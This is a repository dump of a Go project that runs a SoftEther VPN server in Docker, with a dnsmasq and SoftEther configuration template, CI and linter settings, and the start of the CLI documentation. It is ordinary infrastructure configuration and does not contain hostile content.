├── .docker └── hostfs │ └── etc │ └── template │ ├── dnsmasq.conf.tmpl │ └── vpn_server.config.tmpl ├── .dockerignore ├── .editorconfig ├── .gitignore ├── .gitlab-ci.yml ├── .golangci.yml ├── .rgignore ├── CLI.md ├── Dockerfile ├── Dockerfile-stable ├── Dockerfile-ubuntu ├── README.md ├── Taskfile.yml ├── docker-compose.yml ├── go.mod ├── go.sum ├── main.go ├── pipe ├── constants.go ├── context.go ├── flags.go ├── health.go ├── interfaces.go ├── pipe.go ├── services.go ├── tasks.go └── terminate.go ├── renovate.json └── version.go /.docker/hostfs/etc/template/dnsmasq.conf.tmpl: -------------------------------------------------------------------------------- 1 | # Autogenerated configuration file for DNSMASQ DHCP Server 2 | 3 | port=0 4 | interface={{ .TapInterface }} 5 | dhcp-range={{ .TapInterface }},{{ .RangeStartAddress }},{{ .RangeEndAddress }},{{ .RangeNetmask }},{{ .LeaseTime }} 6 | 7 | {{- if .Gateway }} 8 | dhcp-option={{ .TapInterface }},3,{{ .Gateway }} 9 | {{- end }} 10 | {{- if .ForwardingZone }} 11 | dhcp-option={{ .TapInterface }},6{{ range $key, $value := .ForwardingZone }},{{ $value }}{{ end }} 12 | {{- end }} 13 | 14 | conf-dir=/etc/dnsmasq.d 15 | -------------------------------------------------------------------------------- /.docker/hostfs/etc/template/vpn_server.config.tmpl: -------------------------------------------------------------------------------- 1 | # Autogenerated configuration file for SoftEtherVPN Server 2 | # Software Configuration File 3 | # --------------------------- 4 | # 5 | # You may edit this file when the VPN Server / Client / Bridge program is not running. 6 | # 7 | # In prior to edit this file manually by your text editor, 8 | # shutdown the VPN Server / Client / Bridge background service. 9 | # Otherwise, all changes will be lost. 10 | # 11 | declare root 12 | { 13 | uint ConfigRevision 1 14 | bool IPsecMessageDisplayed false 15 | string Region 16 | 17 | declare DDnsClient 18 | { 19 | string CustomHttpHeader $ 20 | bool Disabled false 21 | byte Key QqvLEUWFcyLQ4INTuxyqOMrzzhc= 22 | string LocalHostname 23 | string ProxyHostName $ 24 | uint ProxyPort 0 25 | uint ProxyType 0 26 | string ProxyUsername $ 27 | } 28 | declare IPsec 29 | { 30 | bool EtherIP_IPsec false 31 | string IPsec_Secret vpn 32 | string L2TP_DefaultHub {{ .DefaultHub }} 33 | bool L2TP_IPsec false 34 | bool L2TP_Raw false 35 | 36 | declare EtherIP_IDSettingsList 37 | { 38 | } 39 | } 40 | declare ListenerList 41 | { 42 | declare Listener0 43 | { 44 | bool DisableDos false 45 | bool Enabled true 46 | uint Port 1443 47 | } 48 | declare Listener1 49 | { 50 | bool DisableDos false 51 | bool Enabled true 52 | uint Port 992 53 | } 54 | declare Listener2 55 | { 56 | bool DisableDos false 57 | bool Enabled true 58 | uint Port 1194 59 | } 60 | declare Listener3 61 | { 62 | bool DisableDos false 63 | bool Enabled true 64 | uint Port 5555 65 | } 66 | } 67 | declare LocalBridgeList 68 | { 69 | bool DoNotDisableOffloading false 70 | 71 | declare LocalBridge0 72 | { 73 | string DeviceName {{ .Interface }} 74 | string HubName {{ .DefaultHub }} 75 | bool LimitBroadcast false 76 | bool MonitorMode false 77 | bool NoPromiscuousMode false 78 | string TapMacAddress 79 | bool TapMode true 80 | } 81 | } 82 | declare ServerConfiguration 83 | { 84 | uint64 AutoDeleteCheckDiskFreeSpaceMin 104857600 85 | uint AutoDeleteCheckIntervalSecs 300 86 | uint AutoSaveConfigSpan 300 87 | bool BackupConfigOnlyWhenModified true 88 | string CipherName ~DEFAULT~ 89 | uint CurrentBuild 9672 90 | uint DhParamBits 2048 91 | bool DisableCoreDumpOnUnix false 92 | bool DisableDeadLockCheck false 93 | bool DisableDosProtection false 94 | bool DisableGetHostNameWhenAcceptTcp false 95 | bool DisableIPsecAggressiveMode false 96 | bool DisableIPv6Listener false 97 | bool DisableJsonRpcWebApi false 98 | bool DisableNatTraversal false 99 | bool DisableOpenVPNServer false 100 | bool DisableSessionReconnect false 101 | bool DisableSSTPServer false 102 | bool DontBackupConfig false 103 | bool EnableVpnAzure false 104 | bool EnableVpnOverDns false 105 | bool EnableVpnOverIcmp false 106 | byte HashedPassword +WzqGYrR3VYXrAhKPZLGEHcIwO8= 107 | string KeepConnectHost keepalive.softether.org 108 | uint KeepConnectInterval 50 109 | uint KeepConnectPort 80 110 | uint KeepConnectProtocol 1 111 | string ListenIP 0.0.0.0 112 | uint64 LoggerMaxLogSize 1073741823 113 | uint MaxConcurrentDnsClientThreads 512 114 | uint MaxConnectionsPerIP 256 115 | uint MaxUnestablishedConnections 1000 116 | bool NoHighPriorityProcess false 117 | bool NoLinuxArpFilter false 118 | bool NoSendSignature false 119 | string OpenVPNDefaultClientOption dev-type$20tun,link-mtu$201500,tun-mtu$201200,cipher$20AES-128-CBC,auth$20SHA1,keysize$20128,key-method$202,tls-client 120 | bool OpenVPNObfuscation false 121 | string OpenVPNObfuscationMask $ 122 | bool OpenVPNPushDummyIPv4AddressOnL2Mode true 123 | string PortsUDP 1194 124 | bool SaveDebugLog false 125 | byte ServerCert 126 | byte ServerKey 127 | uint ServerLogSwitchType 4 128 | uint ServerType 0 129 | bool StrictSyslogDatetimeFormat false 130 | bool Tls_Disable1_0 false 131 | bool Tls_Disable1_1 false 132 | bool Tls_Disable1_2 false 133 | bool UseKeepConnect true 134 | string UsernameHubSeparator @ 135 | bool UseWebTimePage false 136 | bool UseWebUI false 137 | 138 | declare GlobalParams 139 | { 140 | uint FIFO_BUDGET 10240000 141 | uint HUB_ARP_SEND_INTERVAL 5000 142 | uint IP_TABLE_EXPIRE_TIME 60000 143 | uint IP_TABLE_EXPIRE_TIME_DHCP 300000 144 | uint MAC_TABLE_EXPIRE_TIME 600000 145 | uint MAX_BUFFERING_PACKET_SIZE 2560000 146 | uint MAX_HUB_LINKS 1024 147 | uint MAX_IP_TABLES 65536 148 | uint MAX_MAC_TABLES 65536 149 | uint MAX_SEND_SOCKET_QUEUE_NUM 128 150 | uint MAX_SEND_SOCKET_QUEUE_SIZE 2560000 151 | uint MAX_STORED_QUEUE_NUM 1024 152 | uint MEM_FIFO_REALLOC_MEM_SIZE 655360 153 | uint MIN_SEND_SOCKET_QUEUE_SIZE 320000 154 | uint QUEUE_BUDGET 2048 155 | uint SELECT_TIME 256 156 | uint SELECT_TIME_FOR_NAT 30 157 | uint STORM_CHECK_SPAN 500 158 | uint STORM_DISCARD_VALUE_END 1024 159 | uint STORM_DISCARD_VALUE_START 3 160 | } 161 | declare ServerTraffic 162 | { 163 | declare RecvTraffic 164 | { 165 | uint64 BroadcastBytes 0 166 | uint64 BroadcastCount 0 167 | uint64 UnicastBytes 0 168 | uint64 UnicastCount 0 169 | } 170 | declare SendTraffic 171 | { 172 | uint64 BroadcastBytes 0 173 | uint64 BroadcastCount 0 174 | uint64 UnicastBytes 0 175 | uint64 UnicastCount 0 176 | } 177 | } 178 | declare SyslogSettings 179 | { 180 | string HostName $ 181 | uint Port 0 182 | uint SaveType 0 183 | } 184 | } 185 | declare VirtualHUB 186 | { 187 | declare {{ .DefaultHub }} 188 | { 189 | uint64 CreatedTime 1585366080783 190 | byte HashedPassword +WzqGYrR3VYXrAhKPZLGEHcIwO8= 191 | uint64 LastCommTime 1585366080782 192 | uint64 LastLoginTime 1585366080782 193 | uint NumLogin 0 194 | bool Online true 195 | bool RadiusConvertAllMsChapv2AuthRequestToEap false 196 | string RadiusRealm $ 197 | uint RadiusRetryInterval 0 198 | uint RadiusServerPort 1812 199 | string RadiusSuffixFilter $ 200 | bool RadiusUsePeapInsteadOfEap false 201 | byte SecurePassword bpw3X/O5E8a6G6ccnl4uXmDtkwI= 202 | uint Type 0 203 | 204 | declare AccessList 205 | { 206 | } 207 | declare AdminOption 208 | { 209 | uint allow_hub_admin_change_option 0 210 | uint deny_bridge 0 211 | uint deny_change_user_password 0 212 | uint deny_empty_password 0 213 | uint deny_hub_admin_change_ext_option 0 214 | uint deny_qos 0 215 | uint deny_routing 0 216 | uint max_accesslists 0 217 | uint max_bitrates_download 0 218 | uint max_bitrates_upload 0 219 | uint max_groups 0 220 | uint max_multilogins_per_user 0 221 | uint max_sessions 0 222 | uint max_sessions_bridge 0 223 | uint max_sessions_client 0 224 | uint max_sessions_client_bridge_apply 0 225 | uint max_users 0 226 | uint no_access_list_include_file 0 227 | uint no_cascade 0 228 | uint no_change_access_control_list 0 229 | uint no_change_access_list 0 230 | uint no_change_admin_password 0 231 | uint no_change_cert_list 0 232 | uint no_change_crl_list 0 233 | uint no_change_groups 0 234 | uint no_change_log_config 0 235 | uint no_change_log_switch_type 0 236 | uint no_change_msg 0 237 | uint no_change_users 0 238 | uint no_delay_jitter_packet_loss 0 239 | uint no_delete_iptable 0 240 | uint no_delete_mactable 0 241 | uint no_disconnect_session 0 242 | uint no_enum_session 0 243 | uint no_offline 0 244 | uint no_online 0 245 | uint no_query_session 0 246 | uint no_read_log_file 0 247 | uint no_securenat 0 248 | uint no_securenat_enabledhcp 0 249 | uint no_securenat_enablenat 0 250 | } 251 | declare CascadeList 252 | { 253 | } 254 | declare LogSetting 255 | { 256 | uint PacketLogSwitchType 4 257 | uint PACKET_LOG_ARP 0 258 | uint PACKET_LOG_DHCP 1 259 | uint PACKET_LOG_ETHERNET 0 260 | uint PACKET_LOG_ICMP 0 261 | uint PACKET_LOG_IP 0 262 | uint PACKET_LOG_TCP 0 263 | uint PACKET_LOG_TCP_CONN 1 264 | uint PACKET_LOG_UDP 0 265 | bool SavePacketLog false 266 | bool SaveSecurityLog false 267 | uint SecurityLogSwitchType 4 268 | } 269 | declare Message 270 | { 271 | } 272 | declare Option 273 | { 274 | uint AccessListIncludeFileCacheLifetime 30 275 | uint AdjustTcpMssValue 0 276 | bool ApplyIPv4AccessListOnArpPacket false 277 | bool AssignVLanIdByRadiusAttribute false 278 | bool BroadcastLimiterStrictMode false 279 | uint BroadcastStormDetectionThreshold 0 280 | uint ClientMinimumRequiredBuild 0 281 | bool DenyAllRadiusLoginWithNoVlanAssign false 282 | uint DetectDormantSessionInterval 0 283 | bool DisableAdjustTcpMss false 284 | bool DisableCheckMacOnLocalBridge false 285 | bool DisableCorrectIpOffloadChecksum false 286 | bool DisableHttpParsing false 287 | bool DisableIPParsing false 288 | bool DisableIpRawModeSecureNAT true 289 | bool DisableKernelModeSecureNAT true 290 | bool DisableUdpAcceleration false 291 | bool DisableUdpFilterForLocalBridgeNic false 292 | bool DisableUserModeSecureNAT false 293 | bool DoNotSaveHeavySecurityLogs false 294 | bool DropArpInPrivacyFilterMode true 295 | bool DropBroadcastsInPrivacyFilterMode true 296 | bool FilterBPDU false 297 | bool FilterIPv4 false 298 | bool FilterIPv6 false 299 | bool FilterNonIP false 300 | bool FilterOSPF false 301 | bool FilterPPPoE false 302 | uint FloodingSendQueueBufferQuota 33554432 303 | bool ManageOnlyLocalUnicastIPv6 true 304 | bool ManageOnlyPrivateIP true 305 | uint MaxLoggedPacketsPerMinute 0 306 | uint MaxSession 0 307 | bool NoArpPolling false 308 | bool NoDhcpPacketLogOutsideHub true 309 | bool NoEnum false 310 | bool NoIpTable false 311 | bool NoIPv4PacketLog false 312 | bool NoIPv6AddrPolling false 313 | bool NoIPv6DefaultRouterInRAWhenIPv6 true 314 | bool NoIPv6PacketLog false 315 | bool NoLookBPDUBridgeId false 316 | bool NoMacAddressLog true 317 | bool NoManageVlanId false 318 | bool NoPhysicalIPOnPacketLog false 319 | bool NoSpinLockForPacketDelay false 320 | bool RemoveDefGwOnDhcpForLocalhost true 321 | uint RequiredClientId 0 322 | uint SecureNAT_MaxDnsSessionsPerIp 0 323 | uint SecureNAT_MaxIcmpSessionsPerIp 0 324 | uint SecureNAT_MaxTcpSessionsPerIp 0 325 | uint SecureNAT_MaxTcpSynSentPerIp 0 326 | uint SecureNAT_MaxUdpSessionsPerIp 0 327 | bool SecureNAT_RandomizeAssignIp false 328 | bool SuppressClientUpdateNotification false 329 | bool UseHubNameAsDhcpUserClassOption false 330 | bool UseHubNameAsRadiusNasId false 331 | string VlanTypeId 0x8100 332 | bool YieldAfterStorePacket false 333 | } 334 | declare SecureNAT 335 | { 336 | bool Disabled true 337 | bool SaveLog false 338 | 339 | declare VirtualDhcpServer 340 | { 341 | string DhcpDnsServerAddress 192.168.30.1 342 | string DhcpDnsServerAddress2 0.0.0.0 343 | string DhcpDomainName $ 344 | bool DhcpEnabled true 345 | uint DhcpExpireTimeSpan 7200 346 | string DhcpGatewayAddress 192.168.30.1 347 | string DhcpLeaseIPEnd 192.168.30.200 348 | string DhcpLeaseIPStart 192.168.30.10 349 | string DhcpPushRoutes $ 350 | string DhcpSubnetMask 255.255.255.0 351 | } 352 | declare VirtualHost 353 | { 354 | string VirtualHostIp 192.168.30.1 355 | string VirtualHostIpSubnetMask 255.255.255.0 356 | string VirtualHostMacAddress 5E-71-EE-23-A4-ED 357 | } 358 | declare VirtualRouter 359 | { 360 | bool NatEnabled true 361 | uint NatMtu 1500 362 | uint NatTcpTimeout 1800 363 | uint NatUdpTimeout 60 364 | } 365 | } 366 | declare SecurityAccountDatabase 367 | { 368 | declare CertList 369 | { 370 | } 371 | declare CrlList 372 | { 373 | } 374 | declare GroupList 375 | { 376 | } 377 | declare IPAccessControlList 378 | { 379 | } 380 | declare UserList 381 | { 382 | } 383 | } 384 | declare Traffic 385 | { 386 | declare RecvTraffic 387 | { 388 | uint64 BroadcastBytes 0 389 | uint64 BroadcastCount 0 390 | uint64 UnicastBytes 0 391 | uint64 UnicastCount 0 392 | } 393 | declare SendTraffic 394 | { 395 | uint64 BroadcastBytes 0 396 | uint64 BroadcastCount 0 397 | uint64 UnicastBytes 0 398 | uint64 UnicastCount 0 399 | } 400 | } 401 | } 402 | } 403 | declare VirtualLayer3SwitchList 404 | { 405 | } 406 | } 407 | -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | ** 2 | !dist/ 3 | !.docker/ 4 | !.tags 5 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | indent_style = space 5 | indent_size = 2 6 | end_of_line = lf 7 | insert_final_newline = true 8 | charset = utf-8 9 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /logs 2 | /volumes 3 | /cfg 4 | .env 5 | .tags 6 | 7 | # create by https://github.com/iamcco/coc-gitignore (Sun May 29 2022 19:48:36 GMT+0200 (Central European Summer Time)) 8 | # Go.gitignore: 9 | # Binaries for programs and plugins 10 | *.exe 11 | *.exe~ 12 | *.dll 13 | *.so 14 | *.dylib 15 | 16 | # Test binary, built with `go test -c` 17 | *.test 18 | 19 | # Output of the go coverage tool, specifically when used with LiteIDE 20 | *.out 21 | 22 | # Dependency directories (remove the comment below to include it) 23 | # vendor/ 24 | 25 | # Go.patch: 26 | /vendor/ 27 | /Godeps/ 28 | 29 | /dist 30 | /.task 31 | -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | --- 2 | stages: 3 | - install 4 | - build 5 | - track 6 | - docker 7 | - post 8 | 9 | variables: 10 | GO_VERSION: 1.23-alpine 11 | DOCKER_IMAGE_NAME: cenk1cenk2/softether-vpnsrv 12 | 13 | include: 14 | - project: devops/pipes 15 | file: /templates/go.gitlab-ci.yml 16 | 17 | - project: devops/pipes 18 | file: /templates/v2/gh-release-tracker.gitlab-ci.yml 19 | 20 | - project: devops/pipes 21 | file: /templates/v2/docker-build-dockerhub.gitlab-ci.yml 22 | 23 | - project: devops/pipes 24 | file: /templates/v2/docker-manifest-dockerhub.gitlab-ci.yml 25 | 26 | - project: devops/pipes 27 | file: /templates/v2/update-docker-hub-readme.gitlab-ci.yml 28 | 29 | gh-release-tracker: 30 | stage: track 31 | extends: .gh-release-tracker 32 | variables: 33 | TAGS_FILE: .tags 34 | GH_REPOSITORY: SoftEtherVPN/SoftEtherVPN 35 | only: 36 | refs: 37 | - schedules 38 | - master 39 | 40 | docker-build: 41 | stage: docker 42 | extends: .docker-build-dockerhub 43 | parallel: 44 | matrix: 45 | #- DOCKERFILE_NAME: Dockerfile-stable 46 | # TAGS_FILE: '.tags' 47 | - DOCKERFILE_NAME: Dockerfile 48 | DOCKER_IMAGE_TAGS: latest-${GITLAB_CI_ARCH} 49 | DOCKER_MANIFEST_TARGET: latest 50 | GITLAB_CI_ARCH: 51 | - amd64 52 | - arm64 53 | - DOCKERFILE_NAME: Dockerfile-ubuntu 54 | DOCKER_IMAGE_TAGS: latest-ubuntu-${GITLAB_CI_ARCH} 55 | DOCKER_MANIFEST_TARGET: latest-ubuntu 56 | GITLAB_CI_ARCH: 57 | - amd64 58 | - arm64 59 | dependencies: 60 | - build 61 | only: 62 | refs: 63 | - schedules 64 | - master 65 | 66 | docker-manifest: 67 | stage: post 68 | extends: .docker-manifest-dockerhub 69 | dependencies: 70 | - docker-build 71 | only: 72 | refs: 73 | - schedules 74 | - master 75 | 76 | update-docker-hub-readme: 77 | stage: post 78 | extends: .update-docker-hub-readme 79 | variables: 80 | README_DESCRIPTION: | 81 | SoftEther VPN server in a container with pre-configured setup for networking. 82 | dependencies: [] 83 | only: 84 | refs: 85 | - schedules 86 | - master 87 | -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | ## Golden config for golangci-lint v1.48.0 2 | # 3 | # This is the best config for golangci-lint based on my experience and opinion. 4 | # It is very strict, but not extremely strict. 5 | # Feel free to adopt and change it for your needs. 6 | 7 | run: 8 | # Timeout for analysis, e.g. 30s, 5m. 9 | # Default: 1m 10 | timeout: 3m 11 | 12 | # This file contains only configs which differ from defaults. 13 | # All possible options can be found here https://github.com/golangci/golangci-lint/blob/master/.golangci.reference.yml 14 | linters-settings: 15 | cyclop: 16 | # The maximal code complexity to report. 17 | # Default: 10 18 | max-complexity: 30 19 | # The maximal average package complexity. 20 | # If it's higher than 0.0 (float) the check is enabled 21 | # Default: 0.0 22 | package-average: 10.0 23 | 24 | errcheck: 25 | # Report about not checking of errors in type assertions: `a := b.(MyStruct)`. 26 | # Such cases aren't reported by default. 27 | # Default: false 28 | check-type-assertions: true 29 | 30 | funlen: 31 | # Checks the number of lines in a function. 32 | # If lower than 0, disable the check. 33 | # Default: 60 34 | lines: -1 35 | # Checks the number of statements in a function. 36 | # If lower than 0, disable the check. 37 | # Default: 40 38 | statements: 50 39 | 40 | gocognit: 41 | # Minimal code complexity to report 42 | # Default: 30 (but we recommend 10-20) 43 | min-complexity: 20 44 | 45 | gocritic: 46 | # Settings passed to gocritic. 47 | # The settings key is the name of a supported gocritic checker. 48 | # The list of supported checkers can be find in https://go-critic.github.io/overview. 49 | settings: 50 | captLocal: 51 | # Whether to restrict checker to params only. 52 | # Default: true 53 | paramsOnly: false 54 | underef: 55 | # Whether to skip (*x).method() calls where x is a pointer receiver. 56 | # Default: true 57 | skipRecvDeref: false 58 | 59 | gomnd: 60 | # List of function patterns to exclude from analysis. 61 | # Values always ignored: `time.Date` 62 | # Default: [] 63 | ignored-functions: 64 | - os.Chmod 65 | - os.Mkdir 66 | - os.MkdirAll 67 | - os.OpenFile 68 | - os.WriteFile 69 | - prometheus.ExponentialBuckets 70 | - prometheus.ExponentialBucketsRange 71 | - prometheus.LinearBuckets 72 | - strconv.FormatFloat 73 | - strconv.FormatInt 74 | - strconv.FormatUint 75 | - strconv.ParseFloat 76 | - strconv.ParseInt 77 | - strconv.ParseUint 78 | 79 | gomodguard: 80 | blocked: 81 | # List of blocked modules. 82 | # Default: [] 83 | modules: 84 | - github.com/golang/protobuf: 85 | recommendations: 86 | - google.golang.org/protobuf 87 | reason: "see https://developers.google.com/protocol-buffers/docs/reference/go/faq#modules" 88 | - github.com/satori/go.uuid: 89 | recommendations: 90 | - github.com/google/uuid 91 | reason: "satori's package is not maintained" 92 | - github.com/gofrs/uuid: 93 | recommendations: 94 | - github.com/google/uuid 95 | reason: "see recommendation from dev-infra team: https://confluence.gtforge.com/x/gQI6Aw" 96 | 97 | govet: 98 | # Enable all analyzers. 99 | # Default: false 100 | enable-all: true 101 | check-shadowing: false 102 | # Disable analyzers by name. 103 | # Run `go tool vet help` to see all analyzers. 104 | # Default: [] 105 | disable: 106 | - fieldalignment # too strict 107 | - shadow 108 | # Settings per analyzer. 109 | # settings: 110 | # shadow: 111 | # # Whether to be strict about shadowing; can be noisy. 112 | # # Default: false 113 | # strict: false 114 | 115 | nakedret: 116 | # Make an issue if func has more lines of code than this setting, and it has naked returns. 117 | # Default: 30 118 | max-func-lines: 0 119 | 120 | nolintlint: 121 | # Exclude following linters from requiring an explanation. 122 | # Default: [] 123 | allow-no-explanation: [funlen, gocognit, lll] 124 | # Enable to require an explanation of nonzero length after each nolint directive. 125 | # Default: false 126 | require-explanation: true 127 | # Enable to require nolint directives to mention the specific linter being suppressed. 128 | # Default: false 129 | require-specific: true 130 | 131 | revive: 132 | ignore-generated-header: true 133 | severity: warning 134 | confidence: 0.8 135 | rules: 136 | - name: line-length-limit 137 | severity: error 138 | arguments: [180] 139 | - name: time-equal 140 | - name: time-naming 141 | - name: var-declaration 142 | - name: unexported-return 143 | severity: error 144 | - name: blank-imports 145 | - name: errorf 146 | severity: error 147 | - name: error-return 148 | - name: if-return 149 | severity: error 150 | - name: increment-decrement 151 | - name: range 152 | - name: indent-error-flow 153 | - name: empty-block 154 | - name: superfluous-else 155 | # - name: confusing-naming 156 | - name: modifies-parameter 157 | - name: confusing-results 158 | # - name: deep-exit 159 | - name: unused-parameter 160 | - name: unreachable-code 161 | - name: atomic 162 | - name: empty-lines 163 | - name: duplicated-imports 164 | - name: import-shadowing 165 | - name: unhandled-error 166 | - name: early-return 167 | - name: defer 168 | - name: identical-branches 169 | - name: useless-break 170 | 171 | rowserrcheck: 172 | # database/sql is always checked 173 | # Default: [] 174 | packages: 175 | - github.com/jmoiron/sqlx 176 | 177 | tenv: 178 | # The option `all` will run against whole test files (`_test.go`) regardless of method/function signatures. 179 | # Otherwise, only methods that take `*testing.T`, `*testing.B`, and `testing.TB` as arguments are checked. 180 | # Default: false 181 | all: true 182 | 183 | varcheck: 184 | # Check usage of exported fields and variables. 185 | # Default: false 186 | exported-fields: false # default false # TODO: enable after fixing false positives 187 | 188 | linters: 189 | disable-all: true 190 | enable: 191 | ## enabled by default 192 | # - deadcode # Finds unused code 193 | - errcheck # Errcheck is a program for checking for unchecked errors in go programs. These unchecked errors can be critical bugs in some cases 194 | - gosimple # Linter for Go source code that specializes in simplifying a code 195 | - govet # Vet examines Go source code and reports suspicious constructs, such as Printf calls whose arguments do not align with the format string 196 | - ineffassign # Detects when assignments to existing variables are not used 197 | - staticcheck # Staticcheck is a go vet on steroids, applying a ton of static analysis checks 198 | # - structcheck # Finds unused struct fields 199 | - typecheck # Like the front-end of a Go compiler, parses and type-checks Go code 200 | - unused # Checks Go code for unused constants, variables, functions and types 201 | # - varcheck # Finds unused global variables and constants 202 | ## disabled by default 203 | - asasalint # Check for pass []any as any in variadic func(...any) 204 | - asciicheck # Simple linter to check that your code does not contain non-ASCII identifiers 205 | - bidichk # Checks for dangerous unicode character sequences 206 | - bodyclose # checks whether HTTP response body is closed successfully 207 | - contextcheck # check the function whether use a non-inherited context 208 | - cyclop # checks function and package cyclomatic complexity 209 | - dupl # Tool for code clone detection 210 | - durationcheck # check for two durations multiplied together 211 | - errname # Checks that sentinel errors are prefixed with the Err and error types are suffixed with the Error. 212 | - errorlint # errorlint is a linter for that can be used to find code that will cause problems with the error wrapping scheme introduced in Go 1.13. 213 | - execinquery # execinquery is a linter about query string checker in Query function which reads your Go src files and warning it finds 214 | - exhaustive # check exhaustiveness of enum switch statements 215 | - exportloopref # checks for pointers to enclosing loop variables 216 | # - forbidigo # Forbids identifiers 217 | - funlen # Tool for detection of long functions 218 | # - gochecknoglobals # check that no global variables exist 219 | - gochecknoinits # Checks that no init functions are present in Go code 220 | # - gocognit # Computes and checks the cognitive complexity of functions 221 | - goconst # Finds repeated strings that could be replaced by a constant 222 | # - gocritic # Provides diagnostics that check for bugs, performance and style issues. 223 | - gocyclo # Computes and checks the cyclomatic complexity of functions 224 | - godot # Check if comments end in a period 225 | - goimports # In addition to fixing imports, goimports also formats your code in the same style as gofmt. 226 | # - gomnd # An analyzer to detect magic numbers. 227 | - gomoddirectives # Manage the use of 'replace', 'retract', and 'excludes' directives in go.mod. 228 | - gomodguard # Allow and block list linter for direct Go module dependencies. This is different from depguard where there are different block types for example version constraints and module recommendations. 229 | - goprintffuncname # Checks that printf-like functions are named with f at the end 230 | - gosec # Inspects source code for security problems 231 | # - lll # Reports long lines 232 | - makezero # Finds slice declarations with non-zero initial length 233 | - nakedret # Finds naked returns in functions greater than a specified function length 234 | - nestif # Reports deeply nested if statements 235 | - nilerr # Finds the code that returns nil even if it checks that the error is not nil. 236 | - nilnil # Checks that there is no simultaneous return of nil error and an invalid value. 237 | # - noctx # noctx finds sending http request without context.Context 238 | # - nolintlint # Reports ill-formed or insufficient nolint directives 239 | - nonamedreturns # Reports all named returns 240 | - nosprintfhostport # Checks for misuse of Sprintf to construct a host with port in a URL. 241 | - predeclared # find code that shadows one of Go's predeclared identifiers 242 | - promlinter # Check Prometheus metrics naming via promlint 243 | - revive # Fast, configurable, extensible, flexible, and beautiful linter for Go. Drop-in replacement of golint. 244 | - rowserrcheck # checks whether Err of rows is checked successfully 245 | - sqlclosecheck # Checks that sql.Rows and sql.Stmt are closed. 246 | # - stylecheck # Stylecheck is a replacement for golint 247 | - tenv # tenv is analyzer that detects using os.Setenv instead of t.Setenv since Go1.17 248 | - testpackage # linter that makes you use a separate _test package 249 | - tparallel # tparallel detects inappropriate usage of t.Parallel() method in your Go test codes 250 | - unconvert # Remove unnecessary type conversions 251 | - unparam # Reports unused function parameters 252 | - usestdlibvars # detect the possibility to use variables/constants from the Go standard library 253 | - wastedassign # wastedassign finds wasted assignment statements. 254 | - whitespace # Tool for detection of leading and trailing whitespace 255 | ## you may want to enable 256 | #- decorder # check declaration order and count of types, constants, variables and functions 257 | #- exhaustruct # Checks if all structure fields are initialized 258 | #- goheader # Checks is file header matches to pattern 259 | #- ireturn # Accept Interfaces, Return Concrete Types 260 | #- prealloc # [premature optimization, but can be used in some cases] Finds slice declarations that could potentially be preallocated 261 | #- varnamelen # [great idea, but too many false positives] checks that the length of a variable's name matches its scope 262 | #- wrapcheck # Checks that errors returned from external packages are wrapped 263 | ## disabled 264 | #- containedctx # containedctx is a linter that detects struct contained context.Context field 265 | #- depguard # [replaced by gomodguard] Go linter that checks if package imports are in a list of acceptable packages 266 | #- dogsled # Checks assignments with too many blank identifiers (e.g. x, _, _, _, := f()) 267 | #- errchkjson # [don't see profit + I'm against of omitting errors like in the first example https://github.com/breml/errchkjson] Checks types passed to the json encoding functions. Reports unsupported types and optionally reports occasions, where the check for the returned error can be omitted. 268 | #- forcetypeassert # [replaced by errcheck] finds forced type assertions 269 | #- gci # Gci controls golang package import order and makes it always deterministic. 270 | #- godox # Tool for detection of FIXME, TODO and other comment keywords 271 | #- goerr113 # [too strict] Golang linter to check the errors handling expressions 272 | #- gofmt # [replaced by goimports] Gofmt checks whether code was gofmt-ed. By default this tool runs with -s option to check for code simplification 273 | #- gofumpt # [replaced by goimports, gofumports is not available yet] Gofumpt checks whether code was gofumpt-ed. 274 | #- grouper # An analyzer to analyze expression groups. 275 | #- importas # Enforces consistent import aliases 276 | #- maintidx # maintidx measures the maintainability index of each function. 277 | #- misspell # [useless] Finds commonly misspelled English words in comments 278 | #- nlreturn # [too strict and mostly code is not more readable] nlreturn checks for a new line before return and branch statements to increase code clarity 279 | #- nosnakecase # Detects snake case of variable naming and function name. # TODO: maybe enable after https://github.com/sivchari/nosnakecase/issues/14 280 | #- paralleltest # [too many false positives] paralleltest detects missing usage of t.Parallel() method in your Go test 281 | #- tagliatelle # Checks the struct tags. 282 | #- thelper # thelper detects golang test helpers without t.Helper() call and checks the consistency of test helpers 283 | #- wsl # [too strict and mostly code is not more readable] Whitespace Linter - Forces you to use empty lines! 284 | ## deprecated 285 | #- exhaustivestruct # [deprecated, replaced by exhaustruct] Checks if all struct's fields are initialized 286 | #- golint # [deprecated, replaced by revive] Golint differs from gofmt. Gofmt reformats Go source code, whereas golint prints out style mistakes 287 | #- ifshort # [deprecated, by the owner] Checks that your code uses short syntax for if-statements whenever possible 288 | #- interfacer # [deprecated] Linter that suggests narrower interface types 289 | #- maligned # [deprecated, replaced by govet fieldalignment] Tool to detect Go structs that would take less memory if their fields were sorted 290 | #- scopelint # [deprecated, replaced by exportloopref] Scopelint checks for unpinned variables in go programs 291 | 292 | issues: 293 | # Maximum count of issues with the same text. 294 | # Set to 0 to disable. 295 | # Default: 3 296 | max-same-issues: 50 297 | 298 | exclude-rules: 299 | - source: "^//\\s*go:generate\\s" 300 | linters: [lll] 301 | - source: "(noinspection|TODO)" 302 | linters: [godot] 303 | - source: "//noinspection" 304 | linters: [gocritic] 305 | - source: "^\\s+if _, ok := err\\.\\([^.]+\\.InternalError\\); ok {" 306 | linters: [errorlint] 307 | - path: "_test\\.go" 308 | linters: 309 | - bodyclose 310 | - dupl 311 | - funlen 312 | - goconst 313 | - gosec 314 | - noctx 315 | - wrapcheck 316 | -------------------------------------------------------------------------------- /.rgignore: -------------------------------------------------------------------------------- 1 | go.mod 2 | go.sum 3 | README.md 4 | CLI.md 5 | -------------------------------------------------------------------------------- /CLI.md: -------------------------------------------------------------------------------- 1 | # docker-softether-vpnsrv 2 | 3 | Initiates the SoftEtherVPN server that will run in this container. 4 | 5 | `docker-softether-vpnsrv [FLAGS]` 6 | 7 | ## Flags 8 | 9 | ### CLI 10 | 11 | | Flag / Environment | Description | Type | Required | Default | 12 | |---------------- | --------------- | --------------- | --------------- | --------------- | 13 | | 